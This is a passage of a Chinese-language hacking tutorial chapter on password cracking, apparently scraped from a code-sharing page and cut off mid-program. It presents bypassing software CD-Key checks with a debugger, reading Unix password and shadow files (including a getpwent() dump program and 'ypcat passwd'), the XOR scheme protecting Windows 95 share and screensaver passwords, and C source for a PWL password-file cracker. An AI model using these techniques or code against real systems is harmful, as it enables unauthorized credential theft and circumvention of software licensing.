?? xiazai.txt
字號:
黑客技術(下)
第八章
口令破解
第一節 口令破解器
口令破解器是一個程序,它能將口令解譯出來,或者讓口令保護失效。口令破解器一般并不是真正地去解碼,因為事實上很多加密算法是不可逆的。
也就是說,光是從被加密的數據和加密算法,不可能從它們身上反解出原來未加密的數據。其實大多數口令破解器是通過嘗試一個一個的單詞,用知道的加密算法來加密這些單詞,直到發現一個單詞經過加密后的結果和要解密的數據一樣,就認為這個單詞就是要找的密碼了。
這就是目前最有效的方法。這種方法之所以比想象得有效得多的原因是:
許多人在選擇密碼時,技巧性都不是很好。許多人還認為他的私人數據反正沒有放在網上,所以,密碼選擇也比隨便。其實,一個用戶在一個系統里有一個帳號,就是一個通入系統的門。如果,其中一個的密碼不安全,則整個系統也就是不安全的。由于用戶的密碼的設置往往都是一些有意義的單詞,或者干脆就是用戶名本身,使得破解器的嘗試次數大為降低。
許多加密算法在選擇密鑰時,都是通過隨機數算法產生的。但往往由于這個隨機數算法并不是真正意義上的隨機數,從而大大降低了這個隨機性,從而為解密提供了一些列的方便。比如,本來,需要嘗試1000次,但由于上述隨機性并不好,結果使得只需嘗試1000次就能成功。
還有一個原因是目前計算機的速度相當的快,而且,互聯網的存在,使得協同進行解密的可能性大為增加。這樣強的計算能力用到解密上,造成了破解的時間大為降低。
通過上述分析,可見,從理論上來講,任何密碼都是可以破解的,只是一個時間的問題。對于一些安全性較低的系統,速度通常很快。
對于那種需要一個口令或注冊碼才能安裝軟件的情況,口令破解會顯得更為簡單。這種情況你可能會經常遇到。比如安裝一個微軟的軟件,在安裝過程中通常需要你輸入一個CD-Key,如果這個CD-Key是正確的,那么它就開始安裝。如果非法的,那么就退出安裝。
通常有兩種方法可以使這種方式失效。
一種是修改安裝程序。因為這種方法的流程一般是在安裝的時候先彈出一個對話框,請求輸入CD-Key。接著程序會對輸入的CD-Key進行運算,最后根據得到的結果決定是繼續安裝還是退出。現在有很多調試軟件,它們提供豐富的調試功能,如單步執行,設置斷點等等。一個比較好的軟件是Soft-ICE。在運行安裝程序之前,可以在調試軟件里設置在系統彈出CD-Key輸入對話框的時候停止執行。接著就可以用調試器跟蹤代碼的執行,將CD-Key判斷部分整個的跳過去,直接進入安裝程序。
另一個方法就是算法嘗試。由于安裝程序要對CD-Key進行運算,判斷其合法性。因此,只要知道CD-Key的算法,就能輕而易舉的進入。
已經有人對為軟的這種算法進行了探討。發現這些算法策略很簡單。
第二節 口令破解器是怎樣工作的
要知道口令破解器是如何工作的,主要還是要知道加密算法。正如上面所說的,許多口令破解器是對某些單詞進行加密,然后在比較。
可以將口令破解器用下面的圖來表示:
侯選口令產生器的作用是產生認為可能是密碼的單詞。通常有好幾種方法產生侯選密碼。一種是從一個字典里讀取一個單詞。這種方法的理論根據是許多用戶由于取密碼有些不是很明智,比如將自己的名字,或者用戶名,或者一個好記住的單詞等等。所以,攻擊這通常都將這些單詞收集到一個文件里,叫做字典。在破解密碼是,從這些字典里取出侯選密碼。
另一種方法是用枚舉法來產生這樣的單詞。通常從一個字母開始,一直增加,知道破解出密碼為止。這里,通常要指定組成密碼的字符集,比如從A-Z,0-9等等。為了便于協同破解密碼,常常需要為密碼產生器指定產生的密碼的范圍。
口令加密就是用一般的加密算法對從口令侯選器送來的單詞進行加密。通常,對于攻擊不同的系統,要采用不同的加密算法。加密算法有很多,通常是不可逆的。這就是造成了為什么口令破解器使用的是這種結構。
口令比較就是將從口令加密里出來的密文和要破解的密文進行比較。如果一致,那么當前侯選口令發生器中出來的單詞就是要找的密碼。如果不一致,則口令發生器再產生下一個侯選口令。
下面我們分別介紹Unix和Windows 95屏幕保護程序的密碼算法。同時給出破解的源程序。另外還介紹Windows NT口令破解方法。最后再舉一個軟件注冊碼破解實例。
Unix口令破解簡介
首先講講怎樣在Unix下得到口令文件。
在標準的Unix系統中,口令文件是/etc/passwd。但是在使用NIS/yp或shadow的系統時,口令數據可能放在別的地方。
口令文件中的每一條目包含7個分號擱開的區域:
用戶名
加密的password,口令有效期
用戶號碼
組號碼
GECOS信息
Home目錄
Shell
下面舉個實例:
will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
上面這個條目包含了下面的信息:
用戶名: will
加了密的口令: 5fg63fhD3d5gh
用戶號碼: 9406
組號碼: 12
GECOS信息: Will Spencer
Home目錄: /home/fsg/will
Shell: /bin/bash
當入侵者拿到了這個密碼文件后,就開始對密碼進行破解。當用戶登錄系統時,Unix將password的內容讀入,并對這個密碼進行加密,并將運算結果和口令文件中的相比較。
Unix口令破解器的基本結構就是我們前面分析的那種結構。目前較為流行的是John程序。他運行在Windows系統下,并且能很快的破解密碼。
那么,對于shadow的口令怎么辦呢?口令shadow是指將口令文件中的加了密的口令密文部分用一個特殊的符號表示,真正的密文放在另一個單獨的文件里,一般的用戶無法讀到這個文件。
為了能讀到這個文件,寫一個程序,通過調用getpwent()函數來得到這個文件。程序舉例如下:
#include < pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
那么這個shadow文件放在哪個目錄下面呢?
Unix Path Token
-----------------------------------------------------------------
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
SCO Unix #.2.x /tcb/auth/files/< first letter *
of username>/< username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
< optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
對于NIS/yp又怎樣呢?
現在的NIS (Network Information System)以前也叫yp (Yellow Pages)。NIS的目的是允許一個網絡上的多臺計算機共享配置信息,包括口令數據。NIS的目的是提高系統的安全性。如果你使用的系統是NIS的,那么,口令文件相當小,看上去可能就是:
+::0:0:::
如果要看真正的口令,需要使用命令:"ypcat passwd"
在有的口令文件中,還包含一項數據--口令有效期。口令有效期的目的是促使用戶在一定的時間后更改口令。這樣就能提高系統的安全性。
/etc/passwd文件中如果保存口令有效期數據的話,這個條目看上去是這樣的。
will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
上面這個條目中,密文后面有一個逗號,逗號后面的便是口令有效期了。這里是:
M.z8
對這四個字符的解釋如下:
1.口令可以不改變而存在的最大的周數。
2.口令在改變之前必須使用的最小的周數。
3&4.口令上次改變的時間,以從1970年算起的周數。
如果1和2設置成"..",表示,下次登錄的時候,必須改變口令了。隨后口令管理程序會將口令有效期移去,這樣,用戶以后就沒有口令有效期的限制了。
如果3和4設置成"..",表示下次登錄時,必須改變口令。口令有效期由前兩個字符表示。
如果第一個字符小于第二個字符,就不允許用戶改變口令了。只有root才有權力改變這個用戶的口令。必須注意,su命令并不檢查口令有效期。一個過期的口令可以在使用su是,沒有被迫改變口令的要求。
口令有效期代碼
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+
Windows 95屏幕保護口令密碼破解簡介
Window95共享目錄口令與屏幕保護口令的加密方法是相同的。共享目錄的口令密文放在注冊表的HKEY_LOCAL_MACHINE\SOFTWARE\micorsoft\windows\current_version\network\lanman\目錄名\Parm1enc和Parm2enc兩位置,但有時注冊庫里缺少最后一個字符的密文。明文與數列(前八個數是35,9a,4d,a6,53,a9,d4,6a)作異或運算即得密文。屏幕保護程序的口令密文放在注冊表的HKEY_CURRENT_USERS\ControlPanel\desktop\ScreenSave_Data下面。
關于PWL文件的一些說明:14個字符長的密碼(均轉為大寫),用它生成一個32位的密鑰,由以下算法求得一個XOR串,接下來用此XOR串 XOR 20字節長的UserName(也轉為大寫), 結果存于PWL文件offset 0x208-0x21B, 0x21C開始為一系列指向資源串的指針(當然已XOR過了)。資源串中保存的主要是該USER的一些共享目錄的口令,資源串也分別與XOR串 XOR。
由注冊表數據庫system.dat極易解出共享目錄, 因此若Win95目錄被共享(不需口令)則解出其余需口令的目錄就變得比較簡單了。但Win95目錄沒共享怎么辦呢?用一個叫 glide 的程序,對從將別的機器上拷回來的PWL文件進行解密。用glide解其資源,很有可能找到所需的password。
但glide程序在反解資源指針時有點問題。下面的程序對glide進行了一點改進。在password未知情況下的反解并不能保證對(這種反解利用了M$的愚蠢的錯誤,將同一 Xor串用于加密許多不同串), 但在大多情況下應沒問題。本程序來自《水木清華》BBS,并已略加改動。
#include < stdio.h>
#include < string.h>
#include < ctype.h>
#include < dir.h>
unsigned char Data[10001]; // pwl file buffer, 10K should enough!
unsigned char keystream[1001]; // xor key stream
int Rpoint[300]; // Resource pointers
int size,maxr,cracked;
void RecoverKeyStream()
{
int sizemask,i,rsz,pos;
int Rall[300];
int keylen,len;
/* find allocated recources */
sizemask=keystream[0]+(keystream[1]< < 8);
for(i=0;i< 256;i++) Rall[i]=0;
maxr=-1;
for(i=0x109;i< 0x208;i++)
{
if(Data[i]!=0xff)
{
Rall[Data[i]]++;
if (Data[i]>maxr) maxr=Data[i];
}
}
if (maxr == -1) return; // no resource
maxr=(((maxr/16)+1)*16);
// recource pointer table size appears to be divisable by 16
/* search after recources */
keylen = 2 * maxr + 20 + 2;
Rpoint[0]=0x0208+keylen; /* first recource */
for(i=0;i< maxr;i++)
{
/* find size of current recource */
pos=Rpoint[i];
if (pos >= size)
{
printf("Decrypt pwl file error!\n");
maxr = i;
break;
}
rsz=Data[pos]+(Data[pos+1]< < 8);
rsz^=sizemask;
pos+=rsz+2;
if(i< maxr-1)
{
while(pos < size)
{
len = (*(unsigned int*)(Data+pos)) ^ sizemask;
if (Rall[i+1] == 0 && len == 0)
break; // correct position
if (Rall[i+1] > 0 && len >= 2 && len < = keylen)
break; // may be correct position ?
pos+=2; // else, increase by 2
}
}
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
/* insert Table data into keystream */
for(i=0;i < = maxr;i++)
{
keystream[20+2*i]^=Rpoint[i] & 0x00ff;
keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;
}
cracked+=maxr*2+2;
}
void DecryptResources()
{
int i,j,rsz;
/* decrypt resources */
for(i=0;i< maxr;i++)
{
rsz=Rpoint[i+1]-Rpoint[i];
if (rsz>cracked) rsz=cracked;
if (rsz > 2)
{
printf("Recource[%02d] (length: %02d)\n",i,rsz);
for(j=0;j< rsz;j++)
{
unsigned char c = Data[Rpoint[i]+j]^keystream[j];
printf("%c", c >= 0x20 && c < = 0x7e ? c : '.');
}
printf("\n");
}
}
}
int main (int argc,char *argv[])
{
struct ffblk ffblk;
int i,done,index = 0;
FILE *fd;
char *name,ch;
if (argc< 2)
{
printf("Usage: Pwl pwlfile(s) (eg: *.pwl)");
return 1;
}
done = findfirst(argv[1],&ffblk,0);
while (!done)
{
name = ffblk.ff_name;
printf("\n-----------File %2d: %11s------------\n", ++index,name);
/* read PWL file */
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -